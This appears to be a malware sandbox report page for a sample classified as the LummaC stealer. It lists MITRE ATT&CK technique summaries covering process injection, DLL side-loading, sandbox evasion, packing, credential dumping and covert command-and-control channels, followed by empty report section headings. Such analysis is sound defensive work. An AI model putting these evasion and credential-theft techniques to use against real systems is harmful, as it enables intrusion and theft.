Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report dEugughckk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
dEugughckk.exe